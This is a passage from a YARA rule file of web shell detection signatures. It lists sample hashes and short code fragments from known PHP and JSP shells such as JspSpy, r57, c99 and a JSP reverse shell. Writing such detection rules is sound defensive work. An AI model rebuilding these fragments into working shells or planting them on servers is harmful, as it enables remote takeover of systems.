		hash20 = "9c94637f76e68487fa33f7b0030dd932"
		hash21 = "6acc82544be056580c3a1caaa4999956"
		hash22 = "6aa32a6392840e161a018f3907a86968"
		hash23 = "349ec229e3f8eda0f9eb918c74a8bf4c"
		hash24 = "3ea688e3439a1f56b16694667938316d"
		hash25 = "ab77e4d1006259d7cbc15884416ca88c"
		hash26 = "71097537a91fac6b01f46f66ee2d7749"
		hash27 = "2434a7a07cb47ce25b41d30bc291cacc"
		hash28 = "7a4b090619ecce6f7bd838fe5c58554b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s8 = "\"<form action=\\\"\"+SHELL_NAME+\"?o=upload\\\" method=\\\"POST\\\" enctype="
		$s9 = "<option value='reg query \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\T"

	condition:
		all of them
}

rule webshell_2_520_job_ma1_ma4_2
{
	meta:
		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "64a3bf9142b045b9062b204db39d4d57"
		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
		hash2 = "56c005690da2558690c4aa305a31ad37"
		hash3 = "532b93e02cddfbb548ce5938fe2f5559"
		hash4 = "6e0fa491d620d4af4b67bae9162844ae"
		hash5 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "_url = \"jdbc:microsoft:sqlserver://\" + dbServer + \":\" + dbPort + \";User=\" "
		$s9 = "result += \"<meta http-equiv=\\\"refresh\\\" content=\\\"2;url=\" + request.getR"

	condition:
		all of them
}

rule webshell_000_403_807_a_c5_config_css_dm_he1p_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
		hash4 = "8b457934da3821ba58b06a113e0d53d9"
		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
		hash9 = "d71716df5042880ef84427acee8b121e"
		hash10 = "341298482cf90febebb8616426080d1d"
		hash11 = "29aebe333d6332f0ebc2258def94d57e"
		hash12 = "42654af68e5d4ea217e6ece5389eb302"
		hash13 = "88fc87e7c58249a398efd5ceae636073"
		hash14 = "4a812678308475c64132a9b56254edbc"
		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
		hash16 = "e0354099bee243702eb11df8d0e046df"
		hash17 = "344f9073576a066142b2023629539ebd"
		hash18 = "32dea47d9c13f9000c4c807561341bee"
		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
		hash20 = "655722eaa6c646437c8ae93daac46ae0"
		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
		hash22 = "9c94637f76e68487fa33f7b0030dd932"
		hash23 = "6acc82544be056580c3a1caaa4999956"
		hash24 = "6aa32a6392840e161a018f3907a86968"
		hash25 = "591ca89a25f06cf01e4345f98a22845c"
		hash26 = "349ec229e3f8eda0f9eb918c74a8bf4c"
		hash27 = "3ea688e3439a1f56b16694667938316d"
		hash28 = "ab77e4d1006259d7cbc15884416ca88c"
		hash29 = "71097537a91fac6b01f46f66ee2d7749"
		hash30 = "2434a7a07cb47ce25b41d30bc291cacc"
		hash31 = "7a4b090619ecce6f7bd838fe5c58554b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "ports = \"21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500\";" fullword
		$s1 = "private static class VEditPropertyInvoker extends DefaultInvoker {" fullword

	condition:
		all of them
}

rule webshell_wso2_5_1_wso2_5_wso2
{
	meta:
		description = "Web Shell - from files wso2.5.1.php, wso2.5.php, wso2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "dbeecd555a2ef80615f0894027ad75dc"
		hash1 = "7c8e5d31aad28eb1f0a9a53145551e05"
		hash2 = "cbc44fb78220958f81b739b493024688"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = "$opt_charsets .= '<option value=\"'.$item.'\" '.($_POST['charset']==$item?'selec"
		$s8 = ".'</td><td><a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode($f['na"

	condition:
		all of them
}

rule webshell_000_403_c5_queryDong_spyjsp2010_t00ls
{
	meta:
		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp, t00ls.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
		hash2 = "8b457934da3821ba58b06a113e0d53d9"
		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
		hash4 = "655722eaa6c646437c8ae93daac46ae0"
		hash5 = "9c94637f76e68487fa33f7b0030dd932"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s8 = "table.append(\"<td nowrap> <a href=\\\"#\\\" onclick=\\\"view('\"+tbName+\"')"
		$s9 = "\"<p><input type=\\\"hidden\\\" name=\\\"selectDb\\\" value=\\\"\"+selectDb+\""

	condition:
		all of them
}

rule webshell_404_data_suiyue
{
	meta:
		description = "Web Shell - from files 404.jsp, data.jsp, suiyue.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "7066f4469c3ec20f4890535b5f299122"
		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
		hash2 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = " sbCopy.append(\"<input type=button name=goback value=' \"+strBack[languageNo]+"

	condition:
		all of them
}

rule webshell_r57shell_r57shell127_SnIpEr_SA_Shell_EgY_SpIdEr_ShElL_V2_r57_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "ef43fef943e9df90ddb6257950b3538f"
		hash1 = "ae025c886fbe7f9ed159f49593674832"
		hash2 = "911195a9b7c010f61b66439d9048f400"
		hash3 = "697dae78c040150daff7db751fc0c03c"
		hash4 = "513b7be8bd0595c377283a7c87b44b2e"
		hash5 = "1d912c55b96e2efe8ca873d6040e3b30"
		hash6 = "e5b2131dd1db0dbdb43b53c5ce99016a"
		hash7 = "4108f28a9792b50d95f95b9e5314fa1e"
		hash8 = "41af6fd253648885c7ad2ed524e0692d"
		hash9 = "6fcc283470465eed4870bcc3e2d7f14d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "echo sr(15,\"<b>\".$lang[$language.'_text58'].$arrow.\"</b>\",in('text','mk_name"
		$s3 = "echo sr(15,\"<b>\".$lang[$language.'_text21'].$arrow.\"</b>\",in('checkbox','nf1"
		$s9 = "echo sr(40,\"<b>\".$lang[$language.'_text26'].$arrow.\"</b>\",\"<select size="

	condition:
		all of them
}

rule webshell_807_a_css_dm_he1p_JspSpy_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
		hash1 = "76037ebd781ad0eac363d56fc81f4b4f"
		hash2 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
		hash3 = "14e9688c86b454ed48171a9d4f48ace8"
		hash4 = "b330a6c2d49124ef0729539761d6ef0b"
		hash5 = "d71716df5042880ef84427acee8b121e"
		hash6 = "341298482cf90febebb8616426080d1d"
		hash7 = "29aebe333d6332f0ebc2258def94d57e"
		hash8 = "42654af68e5d4ea217e6ece5389eb302"
		hash9 = "88fc87e7c58249a398efd5ceae636073"
		hash10 = "4a812678308475c64132a9b56254edbc"
		hash11 = "9626eef1a8b9b8d773a3b2af09306a10"
		hash12 = "344f9073576a066142b2023629539ebd"
		hash13 = "32dea47d9c13f9000c4c807561341bee"
		hash14 = "b9744f6876919c46a29ea05b1d95b1c3"
		hash15 = "6acc82544be056580c3a1caaa4999956"
		hash16 = "6aa32a6392840e161a018f3907a86968"
		hash17 = "349ec229e3f8eda0f9eb918c74a8bf4c"
		hash18 = "3ea688e3439a1f56b16694667938316d"
		hash19 = "ab77e4d1006259d7cbc15884416ca88c"
		hash20 = "71097537a91fac6b01f46f66ee2d7749"
		hash21 = "2434a7a07cb47ce25b41d30bc291cacc"
		hash22 = "7a4b090619ecce6f7bd838fe5c58554b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "\"<h2>Remote Control &raquo;</h2><input class=\\\"bt\\\" onclick=\\\"var"
		$s2 = "\"<p>Current File (import new file name and new file)<br /><input class=\\\"inpu"
		$s3 = "\"<p>Current file (fullpath)<br /><input class=\\\"input\\\" name=\\\"file\\\" i"

	condition:
		all of them
}

rule webshell_201_3_ma_download
{
	meta:
		description = "Web Shell - from files 201.jsp, 3.jsp, ma.jsp, download.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "a7e25b8ac605753ed0c438db93f6c498"
		hash1 = "fb8c6c3a69b93e5e7193036fd31a958d"
		hash2 = "4cc68fa572e88b669bce606c7ace0ae9"
		hash3 = "fa87bbd7201021c1aefee6fcc5b8e25a"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<input title=\"Upload selected file to the current working directory\" type=\"Su"
		$s5 = "<input title=\"Launch command in current directory\" type=\"Submit\" class=\"but"
		$s6 = "<input title=\"Delete all selected files and directories incl. subdirs\" class="

	condition:
		all of them
}

rule webshell_browser_201_3_400_in_JFolder_jfolder01_jsp_leo_ma_warn_webshell_nc_download
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
		hash3 = "36331f2c81bad763528d0ae00edf55be"
		hash4 = "793b3d0a740dbf355df3e6f68b8217a4"
		hash5 = "8979594423b68489024447474d113894"
		hash6 = "ec482fc969d182e5440521c913bab9bd"
		hash7 = "f98d2b33cd777e160d1489afed96de39"
		hash8 = "4b4c12b3002fad88ca6346a873855209"
		hash9 = "4cc68fa572e88b669bce606c7ace0ae9"
		hash10 = "e9a5280f77537e23da2545306f6a19ad"
		hash11 = "598eef7544935cf2139d1eada4375bb5"
		hash12 = "fa87bbd7201021c1aefee6fcc5b8e25a"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "UplInfo info = UploadMonitor.getInfo(fi.clientFileName);" fullword
		$s5 = "long time = (System.currentTimeMillis() - starttime) / 1000l;" fullword

	condition:
		all of them
}

rule webshell_shell_phpspy_2006_arabicspy
{
	meta:
		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "791708057d8b429d91357d38edf43cc0"
		hash1 = "40a1f840111996ff7200d18968e42cfe"
		hash2 = "e0202adff532b28ef1ba206cf95962f2"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype"
		$s8 = "echo \"<form action=\\\"?action=shell&dir=\".urlencode($dir).\"\\\" method=\\\"P"

	condition:
		all of them
}

rule webshell_in_JFolder_jfolder01_jsp_leo_warn
{
	meta:
		description = "Web Shell - from files in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "793b3d0a740dbf355df3e6f68b8217a4"
		hash1 = "8979594423b68489024447474d113894"
		hash2 = "ec482fc969d182e5440521c913bab9bd"
		hash3 = "f98d2b33cd777e160d1489afed96de39"
		hash4 = "4b4c12b3002fad88ca6346a873855209"
		hash5 = "e9a5280f77537e23da2545306f6a19ad"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "sbFile.append(\"  &nbsp;<a href=\\\"javascript:doForm('down','\"+formatPath(strD"
		$s9 = "sbFile.append(\" &nbsp;<a href=\\\"javascript:doForm('edit','\"+formatPath(strDi"

	condition:
		all of them
}

rule webshell_2_520_icesword_job_ma1_ma4_2
{
	meta:
		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "64a3bf9142b045b9062b204db39d4d57"
		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
		hash3 = "56c005690da2558690c4aa305a31ad37"
		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "private String[] _textFileTypes = {\"txt\", \"htm\", \"html\", \"asp\", \"jsp\","
		$s3 = "\\\" name=\\\"upFile\\\" size=\\\"8\\\" class=\\\"textbox\\\" />&nbsp;<input typ"
		$s9 = "if (request.getParameter(\"password\") == null && session.getAttribute(\"passwor"

	condition:
		all of them
}

rule webshell_phpspy_2005_full_phpspy_2005_lite_PHPSPY
{
	meta:
		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
		hash2 = "0712e3dc262b4e1f98ed25760b206836"
		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"

	strings:
		$s6 = "<input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['comma"
		$s7 = "echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],\"\".$uploaddir.\"/\".$_FILE"
		$s8 = "<option value=\"passthru\" <? if ($execfunc==\"passthru\") { echo \"selected\"; "

	condition:
		2 of them
}

rule webshell_shell_phpspy_2006_arabicspy_hkrkoz
{
	meta:
		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "791708057d8b429d91357d38edf43cc0"
		hash1 = "40a1f840111996ff7200d18968e42cfe"
		hash2 = "e0202adff532b28ef1ba206cf95962f2"
		hash3 = "802f5cae46d394b297482fd0c27cb2fc"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s5 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."

	condition:
		all of them
}

rule webshell_c99_Shell_ci_Biz_was_here_c100_v_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
		hash1 = "f2fa878de03732fbf5c86d656467ff50"
		hash2 = "27786d1e0b1046a1a7f67ee41c64bf4c"
		hash3 = "0f5b9238d281bc6ac13406bb24ac2a5b"
		hash4 = "68c0629d08b1664f5bcce7d7f5f71d22"
		hash5 = "048ccc01b873b40d57ce25a4c56ea717"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s8 = "else {echo \"Running datapipe... ok! Connect to <b>\".getenv(\"SERVER_ADDR\""

	condition:
		all of them
}

rule webshell_2008_2009lite_2009mssql
{
	meta:
		description = "Web Shell - from files 2008.php, 2009lite.php, 2009mssql.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
		hash1 = "3f4d454d27ecc0013e783ed921eeecde"
		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<a href=\"javascript:godir(\\''.$drive->Path.'/\\');"
		$s7 = "p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all"

	condition:
		all of them
}

rule webshell_shell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_arabicspy_PHPSPY_hkrkoz
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "791708057d8b429d91357d38edf43cc0"
		hash1 = "b68bfafc6059fd26732fa07fb6f7f640"
		hash2 = "42f211cec8032eb0881e87ebdb3d7224"
		hash3 = "40a1f840111996ff7200d18968e42cfe"
		hash4 = "e0202adff532b28ef1ba206cf95962f2"
		hash5 = "0712e3dc262b4e1f98ed25760b206836"
		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"

	strings:
		$s0 = "$mainpath_info           = explode('/', $mainpath);" fullword
		$s6 = "if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == \"d"

	condition:
		all of them
}

rule webshell_807_dm_JspSpyJDK5_m_cofigrue
{
	meta:
		description = "Web Shell - from files 807.jsp, dm.jsp, JspSpyJDK5.jsp, m.jsp, cofigrue.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
		hash1 = "14e9688c86b454ed48171a9d4f48ace8"
		hash2 = "341298482cf90febebb8616426080d1d"
		hash3 = "88fc87e7c58249a398efd5ceae636073"
		hash4 = "349ec229e3f8eda0f9eb918c74a8bf4c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "url_con.setRequestProperty(\"REFERER\", \"\"+fckal+\"\");" fullword
		$s9 = "FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(),  \"GBK\");" fullword

	condition:
		1 of them
}

rule webshell_Dive_Shell_1_0_Emperor_Hacking_Team_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "1b5102bdc41a7bc439eea8f0010310a5"
		hash1 = "f8a6d5306fb37414c5c772315a27832f"
		hash2 = "37cb1db26b1b0161a4bf678a6b4565bd"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== fals"
		$s9 = "if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {" fullword

	condition:
		all of them
}

rule webshell_404_data_in_JFolder_jfolder01_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "7066f4469c3ec20f4890535b5f299122"
		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
		hash3 = "8979594423b68489024447474d113894"
		hash4 = "ec482fc969d182e5440521c913bab9bd"
		hash5 = "f98d2b33cd777e160d1489afed96de39"
		hash6 = "4b4c12b3002fad88ca6346a873855209"
		hash7 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
		hash8 = "e9a5280f77537e23da2545306f6a19ad"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "&nbsp;<TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\"><%=sbCmd.toString()%></TE"

	condition:
		all of them
}

rule webshell_jsp_reverse_jsp_reverse_jspbd
{
	meta:
		description = "Web Shell - from files jsp-reverse.jsp, jsp-reverse.jsp, jspbd.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		super_rule = 1
		hash0 = "8b0e6779f25a17f0ffb3df14122ba594"
		hash1 = "ea87f0c1f0535610becadf5a98aca2fc"
		hash2 = "7d5e9732766cf5b8edca9b7ae2b6028f"
		score = 50
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "osw = new BufferedWriter(new OutputStreamWriter(os));" fullword
		$s7 = "sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());" fullword
		$s9 = "isr = new BufferedReader(new InputStreamReader(is));" fullword

	condition:
		all of them
}

rule webshell_400_in_JFolder_jfolder01_jsp_leo_warn_webshell_nc
{
	meta:
		description = "Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "36331f2c81bad763528d0ae00edf55be"
		hash1 = "793b3d0a740dbf355df3e6f68b8217a4"
		hash2 = "8979594423b68489024447474d113894"
		hash3 = "ec482fc969d182e5440521c913bab9bd"
		hash4 = "f98d2b33cd777e160d1489afed96de39"
		hash5 = "4b4c12b3002fad88ca6346a873855209"
		hash6 = "e9a5280f77537e23da2545306f6a19ad"
		hash7 = "598eef7544935cf2139d1eada4375bb5"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "sbFolder.append(\"<tr><td >&nbsp;</td><td>\");" fullword
		$s1 = "return filesize / intDivisor + \".\" + strAfterComma + \" \" + strUnit;" fullword
		$s5 = "FileInfo fi = (FileInfo) ht.get(\"cqqUploadFile\");" fullword
		$s6 = "<input type=\"hidden\" name=\"cmd\" value=\"<%=strCmd%>\">" fullword

	condition:
		2 of them
}

rule webshell_2_520_job_JspWebshell_1_2_ma1_ma4_2
{
	meta:
		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, JspWebshell 1.2.jsp, ma1.jsp, ma4.jsp, 2.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "64a3bf9142b045b9062b204db39d4d57"
		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
		hash2 = "56c005690da2558690c4aa305a31ad37"
		hash3 = "70a0ee2624e5bbe5525ccadc467519f6"
		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {" fullword
		$s6 = "password = (String)session.getAttribute(\"password\");" fullword
		$s7 = "insReader = new InputStreamReader(proc.getInputStream(), Charset.forName(\"GB231"

	condition:
		2 of them
}

rule webshell_shell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 60
		super_rule = 1
		hash0 = "791708057d8b429d91357d38edf43cc0"
		hash1 = "3e4ba470d4c38765e4b16ed930facf2c"
		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
		hash3 = "b68bfafc6059fd26732fa07fb6f7f640"
		hash4 = "40a1f840111996ff7200d18968e42cfe"
		hash5 = "e0202adff532b28ef1ba206cf95962f2"
		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"

	strings:
		$s0 = "$tabledump .= \"'\".mysql_escape_string($row[$fieldcounter]).\"'\";" fullword
		$s5 = "while(list($kname, $columns) = @each($index)) {" fullword
		$s6 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\";" fullword
		$s9 = "$tabledump .= \"   PRIMARY KEY ($colnames)\";" fullword
		$fn = "filename: backup"

	condition:
		2 of ( $s* ) and not $fn
}

rule webshell_gfs_sh_r57shell_r57shell127_SnIpEr_SA_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "a2516ac6ee41a7cf931cbaef1134a9e4"
		hash1 = "ef43fef943e9df90ddb6257950b3538f"
		hash2 = "ae025c886fbe7f9ed159f49593674832"
		hash3 = "911195a9b7c010f61b66439d9048f400"
		hash4 = "697dae78c040150daff7db751fc0c03c"
		hash5 = "513b7be8bd0595c377283a7c87b44b2e"
		hash6 = "1d912c55b96e2efe8ca873d6040e3b30"
		hash7 = "e5b2131dd1db0dbdb43b53c5ce99016a"
		hash8 = "4108f28a9792b50d95f95b9e5314fa1e"
		hash9 = "41af6fd253648885c7ad2ed524e0692d"
		hash10 = "6fcc283470465eed4870bcc3e2d7f14d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
		$s11 = "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KIC"

	condition:
		all of them
}

rule webshell_itsec_PHPJackal_itsecteam_shell_jHn
{
	meta:
		description = "Web Shell - from files itsec.php, PHPJackal.php, itsecteam_shell.php, jHn.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
		hash1 = "e2830d3286001d1455479849aacbbb38"
		hash2 = "bd6d3b2763c705a01cc2b3f105a25fa4"
		hash3 = "40c6ecf77253e805ace85f119fe1cebb"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "$link=pg_connect(\"host=$host dbname=$db user=$user password=$pass\");" fullword
		$s6 = "while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|"
		$s9 = "while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+"

	condition:
		2 of them
}

rule webshell_Shell_ci_Biz_was_here_c100_v_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "f2fa878de03732fbf5c86d656467ff50"
